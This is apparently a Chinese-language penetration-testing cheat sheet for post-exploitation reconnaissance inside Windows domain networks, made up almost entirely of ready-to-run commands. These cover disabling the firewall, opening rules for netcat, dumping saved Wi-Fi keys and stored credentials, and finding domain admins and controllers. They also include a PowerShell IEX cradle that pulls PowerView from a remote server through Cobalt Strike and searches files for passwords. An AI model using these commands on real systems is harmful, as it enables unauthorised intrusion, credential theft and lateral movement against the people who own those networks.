内网信息收集
本机信息收集
网络信息ipconfig
操作系统版本信息systeminfo
服务信息wmic service list brief
进程信息wmic process list brief tasklist
开机自启wmic startup get command, caption
计划任务schtasks /query /fo LIST /v
用户信息wmic useraccount get name,sid
会话信息net session
端口信息netstat -ano
补丁信息wmic qfe get caption,description,hotfixid,installedon
共享信息wmic share get name,path,status net share
路由信息route print
防火墙状态netsh firewall show state
关闭防火墙netsh firewall set opmode disable
防火墙配置netsh firewall show config
允许指定程序进行的全部连接netsh advfirewall firewall add rule name="pass nc" dir=in action-allow program="C:\nc.exe"
允许指定程序出netsh advfirewall firewall add rule name="Allownc" dir=out action=allow program="C:\nc.exe"
允许指定端口放行netsh advfirewall firewall add rule name="remotedesktop" protocol=tcp dir=in localport=3389 action=allow
本机wifi密码for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
查询rdp端口reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"/V PortNumber
登陆凭证cmdkey /l
arp信息arp -a
查看本地组net localgroup
查看本地组管理员net localgroup administrator
最近打开的文件dir %APPDATA%\Microsoft\Windows\Recent
查看杀软wmic /node:localhost /namespace:\\root\securitycenter2 path antivirusproduct get displayname /format:list
域内信息
net config workstation
net time /domain
1.存在域,但是当前用户不是域用户
发生系统错误 拒绝访问
2.存在域,当前用户是域用户
显示对应域名、时间
3.当前网络环境为工作组,不存在域
找不到域控
net config workstation查询域
nltest /dcli's't:域名 查询域控
ping 域控 或者 nslookup 域控 获取域控ip
arp -a 获取通讯记录,可能找到其他机器ip所属网段
for /l %i in (1,1,255) do @ping 192.168.0.%i -w 1 -n 1|find /i "ttl=" bat命令检查存活机器
查询用户信息
net user /domain 查询域用户
net group "domain admins" /domain 查询域管
net localgroup administrators 查询本地管理员组,通常包含本地administrator和域管administrator
wmic useraccount get/all
定位域管理员
net group "domain admins" /domain
powershell
powersploit和nishang都作为使用powershell后渗透的工具集
运行脚本前需要查看executionpolicy
get-executionpolicy若为restricted则执行set-executionpolicy unrestricted
有文件落地
import-module 模块物理路径
get-command -module xxx 查看导入模块的命令列表
get-information 导入模块后,就可以执行命令
可以导入模块接分号之后直接执行命令,也可以先import-module之后另起一行再执行命令
get-help [要查询使用方法的命令] 查询命令使用方法
如果cs中分开执行报错,则需要一起执行
无文件落地
云服务器
cs执行以下命令
shell powershell -exec bypass -c IEX (New-Object System.Net.Webclient).DownloadString('http://ip:8844/PowerView.ps1');import-module .\PowerView.ps1;Get-NetShare
放在cs目录下
nihsang放在cs client目录下
powershell-import nishang/nishang.psm1
get-command -module nishang
nishang的get-information一键收集信息
dir /a /b /s d:\"*.txt" 列出d盘下所有txt文件
/a全部 /b简要 /s递归
findstr /si pass *.config *.inc *.ini *.txt *.asp *.aspx *.php *.jsp *.xml *.cgi *.bak
指定目录下的文件中查找内容